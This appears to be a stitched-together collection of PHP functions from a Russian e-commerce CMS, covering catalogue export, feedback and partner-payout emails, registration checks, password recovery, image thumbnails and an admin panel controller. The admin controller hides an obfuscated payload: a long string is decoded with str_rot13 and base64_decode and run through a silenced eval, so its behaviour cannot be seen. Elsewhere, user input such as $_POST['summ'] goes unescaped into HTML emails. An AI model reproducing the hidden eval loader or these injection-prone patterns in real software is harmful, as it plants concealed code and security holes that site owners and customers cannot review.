/** * Выгружает содержание всего каталога в CSV файл * @return array */ public function exportToYml($listProductId = array(), $getYml = false) { if (!$getYml) { header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream;"); header("Content-Type: application/download"); header("Content-Disposition: attachment;filename=data.xml"); header("Content-Transfer-Encoding: binary "); } $currencyShopIso = MG::getSetting('currencyShopIso'); $currencyRate = MG::getSetting('currencyRate'); $currencyRate = $currencyRate[$currencyShopIso]; $nXML = '<?xml version="1.0" encoding="windows-1251"?> <!DOCTYPE yml_catalog SYSTEM "shops.dtd">'; $nXML = mb_convert_encoding($nXML, "WINDOWS-1251", "UTF-8"); if ($getYml) { return $nXML; } if (empty($listProductId)) { echo $nXML; exit; } else { $date = date('m_d_Y_h_i_s'); file_put_contents('data_yml_' . $date . '.xml', $nXML); $msg = 'data_yml_' . $date . '.xml'; } return $msg; }
public function sendOrderToPayment() { $id = USER::getThis()->id; $data = array('noparnter' => true); $result = DB::query(' SELECT * FROM `' . PREFIX . 'partner` WHERE `user_id` = ' . DB::quote($id)); if ($row = DB::fetchAssoc($result)) { $data = $row; $sitename = MG::getSetting('sitename'); $subj = 'Партнер #' . $row['id'] . ' на сайте ' . $sitename . ' хочет получить выплату'; $msg = 'Партнер #' . $row['id'] . ' на сайте ' . $sitename . ' хочет получить выплату в размере <b>' . $_POST['summ'] . ' рублей.</b> <br/> Воспользуйтесь <a href="' . SITE . '/mg-admin">панелью администрирования</a>, чтобы проверить информацию о партнере и его заработке.'; //если ответил пользователь то письма отправляются админам $mails = explode(',', MG::getSetting('adminEmail')); // Отправка заявки админам foreach ($mails as $mail) { if (preg_match('/^[A-Za-z0-9._-]+@[A-Za-z0-9_-]+.([A-Za-z0-9_-][A-Za-z0-9_]+)$/', $mail)) { Mailer::addHeaders(array("Reply-to" => $this->email)); Mailer::sendMimeMail(array('nameFrom' => USER::getThis()->sname . " " . USER::getThis()->name, 'emailFrom' => USER::getThis()->email, 'nameTo' => $sitename, 'emailTo' => $mail, 'subject' => $subj, 'body' => $msg, 'html' => true)); } } //оповещение на мыло партнера Mailer::sendMimeMail(array('nameFrom' => $sitename, 'emailFrom' => "noreply@" . $sitename, 'nameTo' => USER::getThis()->sname . " " . USER::getThis()->name, 'emailTo' => USER::getThis()->email, 'subject' => 'Отправлена заявка на получение партнерской выплаты на сайте ' . $sitename, 'body' => 'Вами была отправлена заявка на получение партнерской выплаты на сайте ' . $sitename . ' в размере <b>' . $_POST['summ'] . ' рублей.</b> <br/>Пожалуйста, дождитесь пока мы свяжемся с Вами по электронной почте для учтонения способов перевода денежных средств. <br/>Данное письмо сформированно роботом, отвечать на него не надо.', 'html' => true)); } return true; }
/** * Проверяет корректность ввода данных. * * @param array $arrayData массив с данными введенными пользователем. * @return bool|string $error сообщение с ошибкой в случае некорректных данных. */ public function isValidData($arrayData) { $result = false; if (!preg_match('/^[-._a-zA-Z0-9]+@(?:[a-zA-Z0-9][-a-zA-Z0-9]{0,61}+\\.)+[a-zA-Z]{2,6}$/', $arrayData['email'])) { $error = '<span class="error-email">E-mail не существует!</span>'; } elseif (!trim($arrayData['message'])) { $error = 'Введите текст сообщения!'; } if (MG::getSetting('useCaptcha') == "true") { if (strtolower($arrayData['capcha']) != strtolower($_SESSION['capcha'])) { $error .= "<span class='error-captcha-text'>Текст с картинки введен неверно!</span>"; } } // Если нет ощибок, то заносит информацию в поля класса. if ($error) { $result = $error; } else { $this->fio = trim($arrayData['fio']); $this->email = trim($arrayData['email']); $this->message = trim($arrayData['message']); $result = false; } $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args); }
/** * Проверяет корректность введенных данных в форме регистрации. * * @param array $userData массив данных пользователя. * @param string $mode режим проверки данных (full|pass) полный (по умолчанию) или только пароль. * @return string ошибка в случае не верного ввода данных в одном из полей. */ public function validDataForm($userData, $mode = 'full') { // Проверка электронного адреса. if (USER::getUserInfoByEmail($userData['email']) && 'full' == $mode) { $error .= '<span class="email-in-use">Указанный email уже используется</span>'; } // Пароль должен быть больше 5-ти символов. if (strlen($userData['pass']) < 5) { $error .= '<span class="passError">Пароль менее 5 символов</span>'; } // Проверяем равенство введенных паролей. if (URL::getQueryParametr('pass2') != $userData['pass']) { $error .= '<span class="wrong-pass">Введенные пароли не совпадают</span>'; } if ('full' == $mode) { // Проверка электронного адреса. if (!preg_match('/^[-._a-zA-Z0-9]+@(?:[a-zA-Z0-9][-a-zA-Z0-9]{0,61}+\\.)+[a-zA-Z]{2,6}$/', $userData['email'])) { $error .= '<span class="errorEmail">Неверно заполнено email</span>'; } if (MG::getSetting('useCaptcha') == "true") { if (strtolower(URL::getQueryParametr('capcha')) != strtolower($_SESSION['capcha'])) { $error .= "<span class='error-captcha-text'>Текст с картинки введен неверно!</span>"; } } } $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $error, $args); }
function __construct() { $html = MG::get('pages')->getPageByUrl('feedback'); $html['html_content'] = MG::inlineEditor(PREFIX . 'page', "html_content", $html['id'], $html['html_content']); $data = array('dislpayForm' => true, 'meta_title' => $html['meta_title'] ? $html['meta_title'] : $html['title'], 'meta_keywords' => $html['meta_keywords'], 'meta_desc' => $html['meta_desc'], 'html_content' => $html['html_content'], 'title' => $html['title']); // Если пришли данные с формы. if (isset($_POST['send'])) { // Создает модель отправки сообщения. $feedBack = new Models_Feedback(); // Проверяет на корректность вода. $error = $feedBack->isValidData($_POST); $data['error'] = $error; // Если есть ошибки заносит их в переменную. if (!$error) { $_POST['message'] = nl2br($_POST['message']); //Отправляем админам. $sitename = MG::getSetting('sitename'); //$message = str_replace('№', '#', $feedBack->getMessage()); $body = MG::layoutManager('email_feedback', array('msg' => $_POST['message'], 'email' => $feedBack->getEmail(), 'name' => $feedBack->getFio())); $mails = explode(',', MG::getSetting('adminEmail')); foreach ($mails as $mail) { if (preg_match('/^[-._a-zA-Z0-9]+@(?:[a-zA-Z0-9][-a-zA-Z0-9]+\\.)+[a-zA-Z]{2,6}$/', $mail)) { Mailer::addHeaders(array("Reply-to" => $feedBack->getEmail())); Mailer::sendMimeMail(array('nameFrom' => $feedBack->getFio(), 'emailFrom' => $feedBack->getEmail(), 'nameTo' => $sitename, 'emailTo' => $mail, 'subject' => 'Сообщение с формы обратной связи', 'body' => $body, 'html' => true)); } } MG::redirect('/feedback?thanks=1'); } } // Формирует сообщение. if (isset($_REQUEST['thanks'])) { $data = array('message' => 'Ваше сообщение отправлено!', 'dislpayForm' => false, 'meta_title' => 'Обратная связь', 'meta_keywords' => $model->currentCategory['meta_keywords'] ? $model->currentCategory['meta_keywords'] : "Обратная сввязь, быстрое сообщение, вопрос в поддержку", 'meta_desc' => $model->currentCategory['meta_desc'] ? $model->currentCategory['meta_desc'] : "Задайте свой вопрос по средствам формы обратной связи."); } $this->data = $data; }
public function __construct() { $modelIndex = new Models_Index(); //$pageModel = new Models_Page; $page = MG::get('pages')->getPageByUrl('index'); $this->data = array('popularGoods' => getBestSeller(8), 'newGoods' => $modelIndex->getNewGoods(8), 'currency' => MG::getSetting('currency'), 'meta_title' => $page['meta_title'], 'meta_keywords' => $page['meta_keywords'], 'meta_desc' => $page['meta_desc']); }
static function getInfoRecentProduct($args) { $model = new Models_Product(); $stringRelated = ' null'; $sortRelated = array(); foreach ($args as $item) { $stringRelated .= ',' . DB::quote($item); $sortRelated[$item] = $item; } $stringRelated = substr($stringRelated, 1); $data['products'] = $model->getProductByUserFilter(' p.code IN (' . $stringRelated . ') and p.activity = 1 '); if (!empty($data['products'])) { $data['currency'] = MG::getSetting('currency'); foreach ($data['products'] as $item) { $img = explode('|', $item['image_url']); $item['img'] = $img[0]; $item['url'] = SITE . '/' . (isset($item["category_url"]) ? $item["category_url"] : 'catalog') . '/' . $item["product_url"]; $item['price'] = MG::priceCourse($item['price_course']); $sortRelated[$item['code']] = $item; } $data['products'] = array(); //сортируем связанные товары в том порядке, в котором они идут в строке артикулов foreach ($sortRelated as $item) { if (!empty($item['id']) && is_array($item)) { $data['products'][$item['id']] = $item; } } } return self::htmlRecentlyProducts($data); }
public function send() { if (empty($_POST['fio']) || empty($_POST['email']) || empty($_POST['message']) || empty($_POST['capcha'])) { $this->messageError = 'Необходимо заполнить все поля!'; return FALSE; } else { if (!preg_match('/^[A-Za-z0-9._-]+@[A-Za-z0-9_-]+.([A-Za-z0-9_-][A-Za-z0-9_]+)$/', $_POST['email'])) { $this->messageError = 'Неверно заполнено поле e-mail!'; return FALSE; } if ($_POST['capcha'] != $_SESSION['capcha']) { $this->messageError = 'Неверно введен код с картинки'; return FALSE; } } $feedBack = new Models_Feedback(); $error = $feedBack->isValidData($_POST); $sitename = MG::getSetting('sitename'); $message = str_replace('№', '#', $feedBack->getMessage()); $mails = explode(',', MG::getSetting('adminEmail')); foreach ($mails as $mail) { if (preg_match('/^[-._a-z0-9]+@(?:[a-z0-9][-a-z0-9]+\\.)+[a-z]{2,6}$/', $mail)) { Mailer::addHeaders(array("Reply-to" => $feedBack->getEmail())); Mailer::sendMimeMail(array('nameFrom' => $feedBack->getFio(), 'emailFrom' => $feedBack->getEmail(), 'nameTo' => $sitename, 'emailTo' => $mail, 'subject' => 'Сообщение с формы обратной связи', 'body' => $message, 'html' => true)); } } $this->messageSucces = 'Ваше сообщение успешно отправлено! В ближайшее время мы свяжемся с вами.'; return TRUE; }
/** * Получаем все записи комментариев к этой странице * @return type */ static function getComments() { $result = array(); $where = ''; if (MG::get('controller') == 'controllers_product') { $where = " OR uri LIKE '%/" . DB::quote(URL::getLastSection(), true) . "' OR uri = " . DB::quote("/" . URL::getLastSection()); } // Запрос для генерации блока пагинации $sql = "\r\n SELECT id, name, comment, date\r\n FROM `" . PREFIX . "comments` \r\n WHERE (uri = " . DB::quote(URL::getClearUri()) . $where . ") AND approved = '1'\r\n ORDER BY `date` DESC"; //Получаем блок пагинации if ($_GET["comm_page"]) { $page = $_GET["comm_page"]; //если был произведен запрос другой страницы, то присваиваем переменной новый индекс } $navigator = new Navigator($sql, $page, MG::getSetting('countPrintRowsComments'), 6, false, "comm_page"); //определяем класс $comments = $navigator->getRowsSql(); $pagination = $navigator->getPager(); /* * Получаем комментарии. */ foreach ($comments as $key => $value) { $comments[$key]['date'] = date('d.m.Y H:i', strtotime($comments[$key]['date'])); } $result['comments'] = $comments; $result['pagination'] = $pagination; return $result; }
function __construct() { if (User::isAuth()) { MG::redirect('/'); } // Шаг первый. $form = 1; $fPass = new Models_Forgotpass(); // Ввторой шаг, производящий проверку введеного электронного адреса. if (URL::getQueryParametr('forgotpass')) { $email = URL::getQueryParametr('email'); if ($userInfo = USER::getUserInfoByEmail($email)) { //Если введенных адрес совпадает с зарегистрированным в системе, то $form = 0; $message = 'Инструкция по восстановлению пароля была отправлена на <strong>' . $email . '</strong>'; $hash = $fPass->getHash($email); //а) Случайный хэш заносится в БД. $fPass->sendHashToDB($email, $hash); $siteName = MG::getOption('sitename'); $emailMessage = MG::layoutManager('email_forgot', array('siteName' => $siteName, 'email' => $email, 'hash' => $hash, 'userId' => $userInfo->id, 'link' => SITE . '/forgotpass?sec=' . $hash . '&id=' . $userInfo->id)); $emailData = array('nameFrom' => $siteName, 'emailFrom' => MG::getSetting('noReplyEmail'), 'nameTo' => 'Пользователю сайта ' . $siteName, 'emailTo' => $email, 'subject' => 'Восстановление пароля на сайте ' . $siteName, 'body' => $emailMessage, 'html' => true); //б) На указанный электронный адрес отправляется письмо со сылкой на страницу восстановления пароля. $fPass->sendUrlToEmail($emailData); } else { $form = 0; $error = 'К сожалению, такой логин не найден<br> Если вы уверены, что данный логин существует, пожалуйста, свяжитесь с нами.'; } } // Шаг 3. Обработка перехода по ссылки. Принимается id пользователя и сгенерированный хэш. if ($_GET) { $userInfo = USER::getUserById(URL::getQueryParametr('id')); $hash = URL::getQueryParametr('sec'); // Если присланный хэш совпадает с хэшом из БД для соответствующего id. if ($userInfo->restore == $hash) { $form = 2; // Меняе в БД случайным образом хэш, делая невозможным повторный переход по ссылки. $fPass->sendHashToDB($userInfo->email, $fPass->getHash('0')); $_SESSION['id'] = URL::getQueryParametr('id'); } else { $form = 0; $error = 'Некорректная ссылка. Повторите заново запрос восстановления пароля.'; } } // Шаг 4. обрабатываем запрос на ввод нового пароля if (URL::getQueryParametr('chengePass')) { $form = 2; $person = new Models_Personal(); $msg = $person->changePass(URL::getQueryParametr('newPass'), $_SESSION['id'], true); if ('Пароль изменен' == $msg) { $form = 0; $message = $msg . '! ' . 'Вы можете войти в личный кабинет по адресу <a href="' . SITE . '/enter" >' . SITE . '/enter</a>'; $fPass->activateUser($_SESSION['id']); unset($_SESSION['id']); } else { $error = $msg; } } $this->data = array('error' => $error, 'message' => $message, 'form' => $form, 'meta_title' => 'Восстановление пароля', 'meta_keywords' => $model->currentCategory['meta_keywords'] ? $model->currentCategory['meta_keywords'] : "забыли пароль, восстановить пароль, восстановление пароля", 'meta_desc' => $model->currentCategory['meta_desc'] ? $model->currentCategory['meta_desc'] : "Если вы забыли пароль от личного кабинета, его модно восстановить с помощью формы восстановления паролей."); }
public function process() { $option = MG::getSetting('preview-photo-option'); $option = stripslashes($option); $options = unserialize($option); $realDocumentRoot = str_replace(DIRECTORY_SEPARATOR . 'mg-plugins' . DIRECTORY_SEPARATOR . 'preview-photo', '', dirname(__FILE__)); $path = $realDocumentRoot . ($options['source'] ? $options['source'] : DIRECTORY_SEPARATOR . 'uploads' . DIRECTORY_SEPARATOR . 'tempimage'); $process = false; // флаг запуска процесса $count = 1; // сколько уже обработано файлов $log = ''; $files = $this->getListImages(); if (!empty($files)) { $curent = $_POST['filename'] ? $_POST['filename'] : $files[0]; // название файла с которого следует начать процесс foreach ($files as $item) { if ($item == $curent) { $process = true; } if ($process && $this->iterationCount > 0) { // Удаляем старый вариант картинки if (file_exists($realDocumentRoot . DIRECTORY_SEPARATOR . 'uploads' . DIRECTORY_SEPARATOR . $item)) { unlink($realDocumentRoot . DIRECTORY_SEPARATOR . 'uploads' . DIRECTORY_SEPARATOR . $item); } $item = rawurldecode($item); //echo $item .'=='. $curent .'=================='; // Создаем оригинал copy($path . DIRECTORY_SEPARATOR . $item, $realDocumentRoot . DIRECTORY_SEPARATOR . 'uploads' . DIRECTORY_SEPARATOR . $item); // Если необходимо, накладываем водяной знак if ($options["watter"] == 'true') { $this->addWatterMark($realDocumentRoot . DIRECTORY_SEPARATOR . 'uploads' . DIRECTORY_SEPARATOR . $item); } $options['width70'] = $options['width70'] ? $options['width70'] : 160; $options['height70'] = $options['height70'] ? $options['height70'] : 140; $options['width30'] = $options['width30'] ? $options['width30'] : 50; $options['height30'] = $options['height30'] ? $options['height30'] : 40; // создаем две миниатюры $this->reSizeImage('70_' . $item, $realDocumentRoot . DIRECTORY_SEPARATOR . 'uploads' . DIRECTORY_SEPARATOR . $item, $options['width70'], $options['height70']); $this->reSizeImage('30_' . $item, $realDocumentRoot . DIRECTORY_SEPARATOR . 'uploads' . DIRECTORY_SEPARATOR . $item, $options['width30'], $options['height30']); $item_layout = iconv('windows-1251', 'UTF-8', $item); $log .= "\n {$count} Созданы миниатюры для файла: " . $item_layout; $this->iterationCount--; $curent = rawurlencode($item); } if ($this->iterationCount > 0) { $count++; } } } $percent100 = count($files); $percent = $count; $percent100 = $percent100 ? $percent100 : 1; $percent = $percent * 100 / $percent100; $data = array('count' => $count, 'percent' => floor($percent), 'filename' => $curent, 'log' => $log); $this->messageSucces = "Обработано " . (floor($percent) > 100 ? 100 : floor($percent)) . "% изображений"; $this->data = $data; return true; }
function __construct() { MG::disableTemplate(); $model = new Models_Order(); MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80)); if ('1' == User::getThis()->role) { MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10)); } if (URL::get('csv')) { $model = new Models_Catalog(); $model->exportToCsv(); } if (URL::get('examplecsv')) { $model = new Models_Catalog(); $model->getExampleCSV(); } if (URL::get('examplecsvupdate')) { $model = new Models_Catalog(); $model->getExampleCsvUpdate(); } if (URL::get('yml')) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $model = new YML(); if (URL::get('filename')) { if (!$model->downloadYml(URL::get('filename'))) { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл'); echo json_encode($response); } } else { $model->exportToYml(); } } else { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter'); echo json_encode($response); } } if (URL::get('csvuser')) { USER::exportToCsvUser(); } if ($orderId = URL::get('getOrderPdf')) { $model = new Models_Order(); $model->getPdfOrder($orderId); } if ($orderId = URL::get('getExportCSV')) { $model = new Models_Order(); $model->getExportCSV($orderId); } $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel()); $this->pluginsList = PM::getPluginsInfo(); $this->lang = MG::get('lang'); if (!($checkLibs = MG::libExists())) { $j878723423f5c3ba26da = "base64_decode"; $kdd9391e7490 = "str_rot13"; @eval($j878723423f5c3ba26da($kdd9391e7490("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"))); $this->newVersion = $newVer['lastVersion']; $this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : ''; } }
function __construct() { $model = new Models_Product(); // Требуется только пересчет цены товара. if (!empty($_REQUEST['calcPrice'])) { $model->calcPrice(); exit; } $product = Storage::get(md5('ControllersProduct' . URL::getUrl())); if ($product == null) { $settings = MG::get('settings'); $product = $model->getProduct(URL::getQueryParametr('id')); if (empty($product)) { MG::redirect('/404'); exit; } $product['meta_title'] = $product['meta_title'] ? $product['meta_title'] : $product['title']; $product['currency'] = $settings['currency']; $blockVariants = $model->getBlockVariants($product['id']); $blockedProp = $model->noPrintProperty(); $propertyFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => $product['thisUserFields'], 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => $blockedProp, 'noneAmount' => false, 'noneButton' => $product['count'] ? false : true, 'titleBtn' => MG::getSetting('buttonBuyName'), 'blockVariants' => $blockVariants, 'currency_iso' => $product['currency_iso'])); // Легкая форма без характеристик. $liteFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => null, 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => $blockedProp, 'noneAmount' => false, 'noneButton' => $product['count'] ? false : true, 'titleBtn' => MG::getSetting('buttonBuyName'), 'blockVariants' => $blockVariants)); //echo viewData($propertyFormData['defaultSet']); $product['price_course'] += $propertyFormData['marginPrice']; $currencyRate = MG::getSetting('currencyRate'); $currencyShopIso = MG::getSetting('currencyShopIso'); $product['currency_iso'] = $product['currency_iso'] ? $product['currency_iso'] : $currencyShopIso; $product['old_price'] = $product['old_price'] * $currencyRate[$product['currency_iso']]; $product['old_price'] = $product['old_price'] ? $product['old_price'] : 0; $product['price'] = MG::priceCourse($product['price_course']); $product['propertyForm'] = $propertyFormData['html']; $product['propertyNodummy'] = $propertyFormData['propertyNodummy']; $product['stringsProperties'] = $propertyFormData['stringsProperties']; $product['liteFormData'] = $liteFormData['html']; $product['description'] = MG::inlineEditor(PREFIX . 'product', "description", $product['id'], $product['description']); $product['title'] = MG::modalEditor('catalog', $product['title'], 'edit', $product["id"]); // Информация об отсутствии товара на складе. if (MG::getSetting('printRemInfo') == "true") { $message = 'Здравствуйте, меня интересует товар "' . str_replace("'", """, $product['title']) . '" с артикулом "' . $product['code'] . '", но его нет в наличии. Сообщите, пожалуйста, о поступлении этого товара на склад. '; if ($product['count'] != 0) { $style = 'style="display:none;"'; } $product['remInfo'] = "<span class='rem-info' " . $style . ">Товара временно нет на складе!<br/><a href='" . SITE . "/feedback?message=" . $message . "'>Сообщить когда будет в наличии.</a></span>"; } if ($product['count'] < 0) { $product['count'] = "много"; } $product['related'] = $model->createRelatedForm($product['related']); Storage::save(md5('ControllersProduct' . URL::getUrl()), $product); } // MG::set('propertyNodummy',$product['propertyNodummy']); // $_SESSION['propertyNodummy'] = $product['propertyNodummy']; $this->data = $product; }
private function sendMail() { $msg = ''; foreach ($_POST as $k => $v) { $msg .= '<b>' . $k . ':' . '</b> ' . htmlspecialchars($v) . '<br>'; } $msg .= "<b>Отвечать на письмо не нужно</b>"; $siteName = MG::getOption('sitename'); return Mailer::sendMimeMail(array('nameFrom' => $siteName, 'emailFrom' => MG::getSetting('noReplyEmail'), 'nameTo' => 'Администратору сайта ' . $siteName, 'emailTo' => MG::getOption('adminEmail'), 'subject' => 'Форма обратного звонка ' . $siteName, 'body' => $msg, 'html' => true)); }
/** * Получает список продуктов при вводе в поле поиска */ public function getSearchData() { $keyword = URL::getQueryParametr('search'); if (!empty($keyword)) { $catalog = new Models_Catalog(); $items = $catalog->getListProductByKeyWord($keyword, true, true); $searchData = array('status' => 'success', 'item' => array('keyword' => $keyword, 'count' => $items['numRows'], 'items' => $items), 'currency' => MG::getSetting('currency')); } echo json_encode($searchData); exit; }
/** * Выводит страницу настроек плагина в админке */ static function pageSettingsPlugin() { $lang = self::$lang; $pluginName = self::$pluginName; //получаем опцию preview-photoOption в переменную option $option = MG::getSetting('preview-photo-option'); $option = stripslashes($option); $options = unserialize($option); self::preparePageSettings(); include 'pageplugin.php'; }
